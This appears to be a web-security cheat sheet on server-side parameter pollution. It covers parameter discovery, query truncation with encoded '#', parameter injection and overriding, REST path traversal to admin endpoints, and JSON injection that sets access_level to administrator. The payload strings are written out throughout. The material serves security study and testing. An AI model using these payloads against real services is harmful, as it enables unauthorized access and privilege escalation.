# server-side parameter pollution

## Discovering server-side variable:

1. put url encoded \&x=y in parameter . such as :    `username=administrator%26x=y`
2. put # in url encoded .such as : `username=administrator%23`
3. analyse output
4. then fuzz with wordlist of server-side variable. like:  `username=administrator%26field=§x§%23`

## Truncating query strings:

client side:  `GET /userSearch?name=peter`<mark style="color:red;">`%23foo`</mark>`&back=/home`

server side:   `GET /users/search?name=peter`<mark style="color:red;">`#foo&publicProfile=true`</mark>

### Injecting invalid parameters:

client side: `GET /userSearch?name=`<mark style="color:blue;">`peter`</mark><mark style="color:red;">`%26foo=xyz`</mark>`&back=/home`

server side:  `GET /users/search?name=`<mark style="color:blue;">`peter`</mark><mark style="color:red;">`&foo=xyz`</mark>`&publicProfile=true`

### Injecting valid parameters:

client side: `GET /userSearch?name=peter`<mark style="color:red;">`%26email=foo`</mark>`&back=/home`

server side:  `GET /users/search?name=peter`<mark style="color:red;">`&email=foo`</mark>`&publicProfile=true`

### Overriding existing parameters:

client side: GET /userSearch?<mark style="color:blue;">name=peter</mark><mark style="color:red;">%26name=carlos</mark>\&back=/home

server side: `GET /users/search?`<mark style="color:blue;">`name=peter`</mark><mark style="color:red;">`&name=carlos`</mark>`&publicProfile=true`

{% hint style="info" %} <mark style="color:blue;">PHP</mark> parses the <mark style="color:blue;">**last parameter**</mark> only.

<mark style="color:blue;">ASP.NET</mark> combines **both parameters.**

<mark style="color:blue;">Node.js / express</mark> parses the <mark style="color:red;">**first parameter**</mark> only
{% endhint %}

## Rest API:

### Path Traversal:

in client side: `GET /edit_profile.php?name=peter`<mark style="color:red;">`%2f..%2fadmin`</mark>

in server side:  `GET /api/private/users/peter`<mark style="color:red;">`/../admin`</mark>

other example: `username=`<mark style="color:red;">`../../../../openapi.json%23`</mark>

### In structured data formats:

intent req:

```
POST /myaccount
{"name": "peter"}
```

client side:&#x20;

```
POST /myaccount
{"name": "peter\",\"access_level\":\"administrator"}
```

server side:

```
PATCH /users/7312/update
{"name":"peter","access_level":"administrator"}
```


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